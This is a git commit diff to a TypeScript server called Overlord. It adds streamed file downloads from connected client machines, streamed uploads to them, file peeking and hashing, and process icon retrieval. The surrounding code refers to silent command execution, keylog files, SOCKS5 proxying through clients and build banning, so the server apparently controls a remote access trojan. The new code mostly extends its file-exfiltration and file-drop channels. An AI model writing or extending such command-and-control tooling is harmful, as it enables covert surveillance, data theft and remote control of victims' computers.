big update

This commit is contained in:
KingKDot
2026-05-21 09:51:12 -05:00
parent 24a023f400
commit b693cbbbf5
23 changed files with 2011 additions and 251 deletions
+1 -1
View File
@@ -221,7 +221,7 @@ function parseMaxHttpBodyBytes(): number {
}
logger.warn(`[HTTP] Invalid OVERLORD_MAX_HTTP_BODY_BYTES=${raw}; using default`);
}
return 100 * 1024 * 1024;
return 1024 * 1024 * 1024;
}
const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes();
+1
View File
@@ -269,6 +269,7 @@ export type ProcessInfo = {
pid: number;
ppid: number;
name: string;
exePath?: string;
cpu: number;
memory: number;
username?: string;
@@ -2,6 +2,8 @@ import fs from "fs/promises";
import type { FileHandle } from "fs/promises";
import { logger } from "../logger";
export const STREAM_REORDER_BUFFER_LIMIT = 16;
export type PendingHttpDownload = {
commandId: string;
clientId: string;
@@ -20,8 +22,78 @@ export type PendingHttpDownload = {
resolve: (entry: PendingHttpDownload) => void;
reject: (error: Error) => void;
timeout: ReturnType<typeof setTimeout>;
streamController?: ReadableStreamDefaultController<Uint8Array>;
reorderBuffer?: Map<number, Uint8Array>;
nextExpectedOffset?: number;
streamErrored?: boolean;
onFirstChunk?: () => void;
firstChunkSignaled?: boolean;
};
function isStreamMode(pending: PendingHttpDownload): boolean {
return !!pending.streamController;
}
async function failStream(pending: PendingHttpDownload, err: Error): Promise<void> {
if (pending.streamErrored) return;
pending.streamErrored = true;
try {
pending.streamController?.error(err);
} catch {}
pending.reorderBuffer?.clear();
}
function enqueueOrdered(pending: PendingHttpDownload, offset: number, data: Uint8Array): boolean {
if (!pending.streamController || pending.streamErrored) return false;
if (offset === (pending.nextExpectedOffset ?? 0)) {
try {
pending.streamController.enqueue(data);
} catch (err) {
void failStream(pending, err as Error);
return false;
}
pending.nextExpectedOffset = (pending.nextExpectedOffset ?? 0) + data.length;
if (pending.reorderBuffer && pending.reorderBuffer.size > 0) {
while (true) {
const next = pending.reorderBuffer.get(pending.nextExpectedOffset ?? 0);
if (!next) break;
pending.reorderBuffer.delete(pending.nextExpectedOffset ?? 0);
try {
pending.streamController.enqueue(next);
} catch (err) {
void failStream(pending, err as Error);
return false;
}
pending.nextExpectedOffset = (pending.nextExpectedOffset ?? 0) + next.length;
}
}
return true;
}
if (!pending.reorderBuffer) pending.reorderBuffer = new Map();
if (!pending.reorderBuffer.has(offset)) {
pending.reorderBuffer.set(offset, data);
}
if (pending.reorderBuffer.size > STREAM_REORDER_BUFFER_LIMIT) {
void failStream(pending, new Error("download chunks arrived too far out of order"));
return false;
}
return true;
}
async function teardownPending(pending: PendingHttpDownload, pendingHttpDownloads: Map<string, PendingHttpDownload>): Promise<void> {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(pending.commandId);
if (isStreamMode(pending)) {
return;
}
try {
await pending.fileHandle.close();
} catch {}
try {
await fs.unlink(pending.tmpPath);
} catch {}
}
export async function consumeHttpDownloadPayload(
payload: any,
pendingHttpDownloads: Map<string, PendingHttpDownload>,
@@ -33,15 +105,16 @@ export async function consumeHttpDownloadPayload(
if (!pending) return;
if (payload?.error) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
try {
await pending.fileHandle.close();
} catch {}
try {
await fs.unlink(pending.tmpPath);
} catch {}
pending.reject(new Error(String(payload.error)));
const err = new Error(String(payload.error));
if (isStreamMode(pending)) {
await failStream(pending, err);
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
pending.resolve(pending);
} else {
await teardownPending(pending, pendingHttpDownloads);
pending.reject(err);
}
return;
}
@@ -67,6 +140,7 @@ export async function consumeHttpDownloadPayload(
commandId,
total: pending.total,
rawTotalType: typeof rawTotal,
mode: isStreamMode(pending) ? "stream" : "buffer",
});
}
@@ -112,34 +186,44 @@ export async function consumeHttpDownloadPayload(
chunkIndex,
chunksTotal,
expectedChunks: pending.expectedChunks,
mode: isStreamMode(pending) ? "stream" : "buffer",
});
}
const effectiveOffset = offset ?? 0;
const shouldWrite = chunkIndex !== null
? !pending.receivedChunks.has(chunkIndex)
: !pending.receivedOffsets.has(offset ?? 0);
: !pending.receivedOffsets.has(effectiveOffset);
if (shouldWrite) {
try {
await pending.fileHandle.write(data, 0, data.length, offset ?? 0);
} catch (err) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
if (isStreamMode(pending)) {
const accepted = enqueueOrdered(pending, effectiveOffset, data);
if (!accepted) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
pending.resolve(pending);
return;
}
} else {
try {
await pending.fileHandle.close();
} catch {}
try {
await fs.unlink(pending.tmpPath);
} catch {}
pending.reject(err as Error);
return;
await pending.fileHandle.write(data, 0, data.length, effectiveOffset);
} catch (err) {
await teardownPending(pending, pendingHttpDownloads);
pending.reject(err as Error);
return;
}
}
if (chunkIndex !== null) {
pending.receivedChunks.add(chunkIndex);
} else {
pending.receivedOffsets.add(offset ?? 0);
pending.receivedOffsets.add(effectiveOffset);
}
pending.receivedBytes += data.length;
if (!pending.firstChunkSignaled && pending.onFirstChunk) {
pending.firstChunkSignaled = true;
try { pending.onFirstChunk(); } catch {}
}
}
}
}
@@ -152,9 +236,17 @@ export async function consumeHttpDownloadPayload(
if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) {
clearTimeout(pending.timeout);
pendingHttpDownloads.delete(commandId);
try {
await pending.fileHandle.close();
} catch {}
if (isStreamMode(pending)) {
if (pending.reorderBuffer && pending.reorderBuffer.size > 0 && !pending.streamErrored) {
await failStream(pending, new Error("download completed with gaps in chunk stream"));
} else if (!pending.streamErrored) {
try { pending.streamController?.close(); } catch {}
}
} else {
try {
await pending.fileHandle.close();
} catch {}
}
pending.resolve(pending);
}
}
@@ -306,17 +306,12 @@ export async function handleClientRoutes(
if (!record) {
return new Response("Not Found", { status: 404 });
}
const etag = `"${clientId}-${record.version}"`;
if (req.headers.get("if-none-match") === etag) {
return new Response(null, { status: 304, headers: { ETag: etag } });
}
return new Response(record.bytes as unknown as BodyInit, {
status: 200,
headers: {
"Content-Type": record.contentType,
"Content-Length": String(record.bytes.byteLength),
ETag: etag,
"Cache-Control": "private, max-age=300",
"Cache-Control": "no-store",
},
});
}
@@ -1,4 +1,5 @@
import fs from "fs/promises";
import type { FileHandle } from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
@@ -32,6 +33,12 @@ type PendingHttpDownload = {
resolve: (entry: PendingHttpDownload) => void;
reject: (error: Error) => void;
timeout: ReturnType<typeof setTimeout>;
streamController?: ReadableStreamDefaultController<Uint8Array>;
reorderBuffer?: Map<number, Uint8Array>;
nextExpectedOffset?: number;
streamErrored?: boolean;
onFirstChunk?: () => void;
firstChunkSignaled?: boolean;
};
type DownloadIntent = {
@@ -53,6 +60,13 @@ type UploadIntent = {
timeout: ReturnType<typeof setTimeout>;
};
type StreamingPullState = {
size: number;
done: boolean;
error: Error | null;
waiters: Array<() => void>;
};
type UploadPull = {
id: string;
clientId: string;
@@ -63,8 +77,76 @@ type UploadPull = {
expiresAt: number;
timeout: ReturnType<typeof setTimeout>;
deleteFile: boolean;
state?: StreamingPullState;
expectedTotal?: number;
};
function notifyPullWaiters(state: StreamingPullState) {
const list = state.waiters.splice(0);
for (const w of list) {
try { w(); } catch {}
}
}
function waitForPullProgress(state: StreamingPullState): Promise<void> {
if (state.done) return Promise.resolve();
return new Promise<void>((resolve) => state.waiters.push(resolve));
}
function makeIncrementalPullStream(pull: UploadPull): ReadableStream<Uint8Array> {
let cancelled = false;
return new ReadableStream<Uint8Array>({
async start(controller) {
const state = pull.state;
if (!state) {
controller.close();
return;
}
let fh: FileHandle | null = null;
try {
fh = await fs.open(pull.tmpPath, "r");
let pos = 0;
const READ_CHUNK = 256 * 1024;
while (!cancelled) {
while (pos < state.size && !cancelled) {
const remaining = state.size - pos;
const buf = new Uint8Array(Math.min(remaining, READ_CHUNK));
const { bytesRead } = await fh.read(buf, 0, buf.length, pos);
if (bytesRead === 0) break;
controller.enqueue(bytesRead === buf.length ? buf : buf.subarray(0, bytesRead));
pos += bytesRead;
}
if (cancelled) return;
if (state.error) {
controller.error(state.error);
return;
}
if (state.done) {
controller.close();
return;
}
await Promise.race([
waitForPullProgress(state),
new Promise<void>((res) => setTimeout(res, 5000)),
]);
}
} catch (err) {
try { controller.error(err); } catch {}
} finally {
if (fh) {
try { await fh.close(); } catch {}
}
}
},
cancel() {
cancelled = true;
if (pull.state) {
notifyPullWaiters(pull.state);
}
},
});
}
type FileDownloadRouteDeps = {
DATA_DIR: string;
secureHeaders: (contentType?: string) => Record<string, string>;
@@ -207,9 +289,6 @@ async function serveDownloadById(
}
const commandId = uuidv4();
const downloadDir = path.join(deps.DATA_DIR, "downloads");
await fs.mkdir(downloadDir, { recursive: true });
const tmpPath = path.join(downloadDir, `${commandId}.bin`);
let fileName = path.basename(downloadPath) || "download.bin";
try {
@@ -218,20 +297,47 @@ async function serveDownloadById(
fileName = "download.bin";
}
const fileHandle = await fs.open(tmpPath, "w+");
logger.debug("[filebrowser] http download start", {
commandId,
clientId,
path: downloadPath,
tmpPath,
mode: "stream",
});
let streamController!: ReadableStreamDefaultController<Uint8Array>;
const stream = new ReadableStream<Uint8Array>({
start(controller) {
streamController = controller;
},
cancel() {
const p = deps.pendingHttpDownloads.get(commandId);
if (p) {
clearTimeout(p.timeout);
deps.pendingHttpDownloads.delete(commandId);
}
try {
target.ws.send(encodeMessage({ type: "command_abort", commandId } as any));
} catch {}
},
});
let firstChunkResolve!: () => void;
let firstChunkReject!: (err: Error) => void;
const firstChunkPromise = new Promise<void>((resolve, reject) => {
firstChunkResolve = resolve;
firstChunkReject = reject;
});
const downloadPromise = new Promise<PendingHttpDownload>((resolve, reject) => {
const timeout = setTimeout(() => {
const p = deps.pendingHttpDownloads.get(commandId);
if (!p) return;
deps.pendingHttpDownloads.delete(commandId);
void fileHandle.close();
void fs.unlink(tmpPath).catch(() => {});
if (p.streamController && !p.streamErrored) {
p.streamErrored = true;
try { p.streamController.error(new Error("Download timed out")); } catch {}
}
firstChunkReject(new Error("Download timed out"));
reject(new Error("Download timed out"));
}, 5 * 60_000);
@@ -248,14 +354,40 @@ async function serveDownloadById(
expectedChunks: 0,
loggedTotal: false,
loggedFirstChunk: false,
tmpPath,
fileHandle,
tmpPath: "",
fileHandle: null,
resolve,
reject,
timeout,
streamController,
reorderBuffer: new Map(),
nextExpectedOffset: 0,
onFirstChunk: () => firstChunkResolve(),
});
});
downloadPromise
.then((completed) => {
logger.debug("[filebrowser] http download complete", {
commandId,
clientId,
path: downloadPath,
total: completed.total,
receivedBytes: completed.receivedBytes,
expectedChunks: completed.expectedChunks,
receivedChunks: completed.receivedChunks.size,
streamErrored: !!completed.streamErrored,
});
})
.catch((err) => {
logger.debug("[filebrowser] http download failed", {
commandId,
clientId,
path: downloadPath,
error: (err as Error)?.message || String(err),
});
});
target.ws.send(
encodeMessage({
type: "command",
@@ -281,36 +413,28 @@ async function serveDownloadById(
success: true,
});
let completed: PendingHttpDownload;
try {
completed = await downloadPromise;
await firstChunkPromise;
} catch (err) {
logger.debug("[filebrowser] http download failed", {
commandId,
clientId,
path: downloadPath,
error: (err as Error)?.message || String(err),
});
return new Response((err as Error).message || "Download failed", { status: 500 });
}
logger.debug("[filebrowser] http download complete", {
commandId,
clientId,
path: downloadPath,
total: completed.total,
receivedBytes: completed.receivedBytes,
expectedChunks: completed.expectedChunks,
receivedChunks: completed.receivedChunks.size,
});
const installed = deps.pendingHttpDownloads.get(commandId);
if (installed?.streamErrored) {
return new Response("Download failed", { status: 500 });
}
const headers = {
const headers: Record<string, string> = {
...deps.secureHeaders("application/octet-stream"),
"Content-Disposition": `attachment; filename="${completed.fileName}"`,
"Content-Disposition": `attachment; filename="${fileName}"`,
"Cache-Control": "no-store, private",
};
const total = installed?.total ?? 0;
if (total > 0) {
headers["Content-Length"] = String(total);
}
return new Response(streamFileAndDelete(completed.tmpPath), { headers });
return new Response(stream, { headers });
}
export function createUploadPull(opts: {
@@ -459,70 +583,140 @@ export async function handleFileDownloadRoutes(
const uploadDir = path.join(deps.DATA_DIR, "uploads");
await fs.mkdir(uploadDir, { recursive: true });
const tmpPath = path.join(uploadDir, `${uploadId}.bin`);
let stagedSize = 0;
const fileHandle = await fs.open(tmpPath, "w");
try {
if (req.body) {
const reader = req.body.getReader();
let position = 0;
while (true) {
const { done, value } = await reader.read();
if (done) break;
if (!value || value.byteLength === 0) continue;
await fileHandle.write(value, 0, value.byteLength, position);
position += value.byteLength;
stagedSize += value.byteLength;
}
} else {
const bytes = new Uint8Array(await req.arrayBuffer());
if (bytes.byteLength > 0) {
await fileHandle.write(bytes, 0, bytes.byteLength, 0);
stagedSize = bytes.byteLength;
}
}
} catch (err) {
logger.debug("[filebrowser] http upload stage error", {
uploadId,
error: (err as Error)?.message || String(err),
});
await fileHandle.close();
await fs.unlink(tmpPath).catch(() => {});
return new Response("Upload staging failed", { status: 500 });
}
await fileHandle.close();
logger.debug("[filebrowser] http upload staged bytes", {
uploadId,
bytes: stagedSize,
clientId: intent.clientId,
path: intent.path,
});
uploadIntents.delete(uploadId);
clearTimeout(intent.timeout);
const pullId = uuidv4();
const tmpPath = path.join(uploadDir, `${pullId}.bin`);
const contentLength = Number(req.headers.get("content-length") || 0);
const expectedTotal = Number.isFinite(contentLength) && contentLength >= 0 ? contentLength : 0;
const canStream = !!req.body && expectedTotal > 0;
const pullExpiresAt = Date.now() + FILE_UPLOAD_PULL_TTL_MS;
const pullTimeout = setTimeout(() => {
const pull = uploadPulls.get(pullId);
const stale = uploadPulls.get(pullId);
uploadPulls.delete(pullId);
if (pull && pull.deleteFile) {
void fs.unlink(pull.tmpPath).catch(() => {});
if (stale && stale.deleteFile) {
void fs.unlink(stale.tmpPath).catch(() => {});
}
}, FILE_UPLOAD_PULL_TTL_MS);
const state: StreamingPullState | undefined = canStream
? { size: 0, done: false, error: null, waiters: [] }
: undefined;
uploadPulls.set(pullId, {
id: pullId,
clientId: intent.clientId,
path: intent.path,
fileName: intent.fileName,
tmpPath,
size: stagedSize,
size: expectedTotal,
expiresAt: pullExpiresAt,
timeout: pullTimeout,
deleteFile: true,
state,
expectedTotal,
});
uploadIntents.delete(uploadId);
clearTimeout(intent.timeout);
let agentCommandId: string | null = null;
if (canStream) {
const target = clientManager.getClient(intent.clientId);
if (target) {
agentCommandId = uuidv4();
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http",
id: agentCommandId,
payload: {
path: intent.path,
url: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`,
total: expectedTotal,
},
} as any),
);
logger.debug("[filebrowser] http upload eagerly notified agent", {
uploadId,
pullId,
clientId: intent.clientId,
total: expectedTotal,
commandId: agentCommandId,
});
} catch (err) {
logger.debug("[filebrowser] http upload eager notify failed", {
uploadId,
error: (err as Error)?.message || String(err),
});
agentCommandId = null;
}
}
}
let stagedSize = 0;
const fileHandle = await fs.open(tmpPath, "w");
try {
if (req.body) {
const reader = req.body.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) break;
if (!value || value.byteLength === 0) continue;
await fileHandle.write(value, 0, value.byteLength, stagedSize);
stagedSize += value.byteLength;
if (state) {
state.size = stagedSize;
notifyPullWaiters(state);
}
}
} else {
const bytes = new Uint8Array(await req.arrayBuffer());
if (bytes.byteLength > 0) {
await fileHandle.write(bytes, 0, bytes.byteLength, 0);
stagedSize = bytes.byteLength;
if (state) {
state.size = stagedSize;
notifyPullWaiters(state);
}
}
}
} catch (err) {
logger.debug("[filebrowser] http upload stage error", {
uploadId,
error: (err as Error)?.message || String(err),
});
if (state) {
state.error = err as Error;
state.done = true;
notifyPullWaiters(state);
}
await fileHandle.close();
await fs.unlink(tmpPath).catch(() => {});
uploadPulls.delete(pullId);
clearTimeout(pullTimeout);
return new Response("Upload staging failed", { status: 500 });
}
await fileHandle.close();
if (state) {
state.done = true;
notifyPullWaiters(state);
}
const finalPull = uploadPulls.get(pullId);
if (finalPull) {
finalPull.size = stagedSize;
}
logger.debug("[filebrowser] http upload staged bytes", {
uploadId,
pullId,
bytes: stagedSize,
clientId: intent.clientId,
path: intent.path,
streamed: canStream,
});
return Response.json({
@@ -530,6 +724,8 @@ export async function handleFileDownloadRoutes(
size: stagedSize,
path: intent.path,
pullUrl: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`,
agentCommandId,
agentNotified: !!agentCommandId,
});
}
@@ -581,6 +777,29 @@ export async function handleFileDownloadRoutes(
if (pull.deleteFile) {
uploadPulls.delete(pullId);
clearTimeout(pull.timeout);
if (pull.state && !rangeHeader) {
const expected = pull.expectedTotal ?? pull.size;
const stream = makeIncrementalPullStream(pull);
const cleanupOnDone = stream.pipeThrough(new TransformStream({
flush: async () => {
await fs.unlink(pull.tmpPath).catch(() => {});
},
}));
return new Response(cleanupOnDone, {
headers: { ...baseHeaders, "Content-Length": String(expected) },
});
}
if (pull.state && rangeHeader) {
while (!pull.state.done && !pull.state.error) {
await waitForPullProgress(pull.state);
}
if (pull.state.error) {
await fs.unlink(pull.tmpPath).catch(() => {});
return new Response("Upload streaming failed", { status: 500 });
}
}
return new Response(streamFileAndDelete(pull.tmpPath), {
headers: { ...baseHeaders, "Content-Length": String(pull.size) },
});
@@ -20,6 +20,7 @@ import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
import { verifyBuildToken, isBuildBanned } from "../build-signing";
import { clearThumbnail } from "../../thumbnails";
const OFFLINE_GRACE_MS = (() => {
const raw = process.env.OVERLORD_OFFLINE_GRACE_MS;
@@ -552,6 +553,8 @@ export async function handleWebSocketMessage(
await handleHello(infoObj, payload as Hello, ws, ip);
clientManager.addClient(infoObj.id, infoObj);
clearThumbnail(resolvedId);
const reconnectedWithinGrace = cancelPendingOffline(infoObj.id);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
@@ -643,6 +646,8 @@ export async function handleWebSocketMessage(
case "file_icon_result":
case "file_thumb_result":
case "file_dirsize_result":
case "file_peek_result":
case "file_hash_result":
case "command_result":
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
@@ -676,6 +681,7 @@ export async function handleWebSocketMessage(
deps.handleFileBrowserMessage(client.id, payload);
break;
case "process_list_result":
case "process_icon_result":
deps.handleProcessMessage(client.id, payload);
break;
case "keylog_file_list":
@@ -30,6 +30,8 @@ type WsViewerClusterDeps = {
consumeHttpDownloadPayload: (payload: any) => Promise<void> | void;
};
const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024;
const fileBrowserCommandSessions = new Map<string, string>();
function trackFileBrowserCommand(commandId: string, sessionId: string): void {
@@ -142,6 +144,23 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>,
target.ws.send(encodeMessage({ type: "command", commandType: "file_dirsize", id: routedId, payload: actualPayload } as any));
metrics.recordCommand("file_dirsize");
break;
case "file_peek":
target.ws.send(encodeMessage({ type: "command", commandType: "file_peek", id: routedId, payload: actualPayload } as any));
metrics.recordCommand("file_peek");
break;
case "file_hash":
target.ws.send(encodeMessage({ type: "command", commandType: "file_hash", id: routedId, payload: actualPayload } as any));
metrics.recordCommand("file_hash");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_DOWNLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: actualPayload?.path || "", op: "hash", algorithm: actualPayload?.algorithm || "sha256" }),
success: true,
});
break;
case "silent_exec":
logger.debug(`[DEBUG] Forwarding silent_exec to client ${clientId}:`, actualPayload.command);
target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: routedId, payload: actualPayload } as any));
@@ -198,14 +217,43 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>,
case "file_upload": {
const upload = normalizeFileUploadPayload(payload);
if (!upload) return;
safeSendViewer(ws, {
type: "file_upload_result",
commandId,
transferId: upload.transferId,
path: upload.path,
ok: false,
error: "chunked uploads are disabled; refresh and retry",
});
if (upload.total > WS_UPLOAD_MAX_TOTAL) {
safeSendViewer(ws, {
type: "file_upload_result",
commandId,
transferId: upload.transferId,
path: upload.path,
ok: false,
error: `file too large for ws upload (${upload.total} > ${WS_UPLOAD_MAX_TOTAL}); use http upload`,
});
break;
}
const uploadCommandId = payload.commandId || commandId;
if (ws.data.sessionId) trackFileBrowserCommand(uploadCommandId, ws.data.sessionId);
target.ws.send(encodeMessage({
type: "command",
commandType: "file_upload",
id: uploadCommandId,
payload: {
path: upload.path,
data: upload.data,
offset: upload.offset,
total: upload.total,
transferId: upload.transferId,
},
} as any));
metrics.recordCommand("file_upload");
if (upload.offset === 0) {
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_UPLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: upload.path, total: upload.total, mode: "ws_chunked" }),
success: true,
});
}
break;
}
case "file_delete": {
@@ -311,6 +359,8 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
return item;
});
safeSendViewer(session.viewer, { ...payload, thumbs });
} else if (payload.type === "file_peek_result" && payload.data && !(payload.data instanceof Uint8Array)) {
safeSendViewer(session.viewer, { ...payload, data: new Uint8Array(payload.data) });
} else {
safeSendViewer(session.viewer, payload);
}
@@ -350,6 +400,10 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
target.ws.send(encodeMessage({ type: "command", commandType: "process_list", id: commandId } as any));
metrics.recordCommand("process_list");
break;
case "process_icon":
target.ws.send(encodeMessage({ type: "command", commandType: "process_icon", id: commandId, payload: { items: payload.items || [] } } as any));
metrics.recordCommand("process_icon");
break;
case "process_kill": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
@@ -387,7 +441,17 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
export function handleProcessMessage(clientId: string, payload: any) {
for (const session of sessionManager.getProcessSessionsByClient(clientId)) {
safeSendViewer(session.viewer, payload);
if (payload.type === "process_icon_result" && Array.isArray(payload.icons)) {
const icons = payload.icons.map((item: any) => {
if (item && item.png && !(item.png instanceof Uint8Array)) {
return { ...item, png: new Uint8Array(item.png) };
}
return item;
});
safeSendViewer(session.viewer, { ...payload, icons });
} else {
safeSendViewer(session.viewer, payload);
}
}
}
+5 -1
View File
@@ -36,6 +36,7 @@ type ThumbnailRecord = {
const thumbnails = new Map<string, ThumbnailRecord>();
const latestFrames = new Map<string, { bytes: Uint8Array; format: string; capturedAt: number }>();
const thumbnailRequests = new Map<string, number>();
const thumbnailVersionHWM = new Map<string, number>();
function touchThumbnailLRU(id: string) {
const existing = thumbnails.get(id);
@@ -120,11 +121,14 @@ export async function generateThumbnail(id: string): Promise<boolean> {
}
const prior = thumbnails.get(id);
const now = Date.now();
const hwm = thumbnailVersionHWM.get(id) ?? (prior?.version ?? 0);
const newVersion = hwm + 1;
thumbnailVersionHWM.set(id, newVersion);
if (prior) thumbnails.delete(id);
thumbnails.set(id, {
bytes: out,
contentType: "image/webp",
version: (prior?.version ?? 0) + 1,
version: newVersion,
updatedAt: now,
});
evictThumbnailsIfFull();
+3
View File
@@ -17,10 +17,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"file_icon_result",
"file_thumb_result",
"file_dirsize_result",
"file_peek_result",
"file_hash_result",
"command_result",
"screenshot_result",
"command_progress",
"process_list_result",
"process_icon_result",
"script_result",
"plugin_event",
"notification",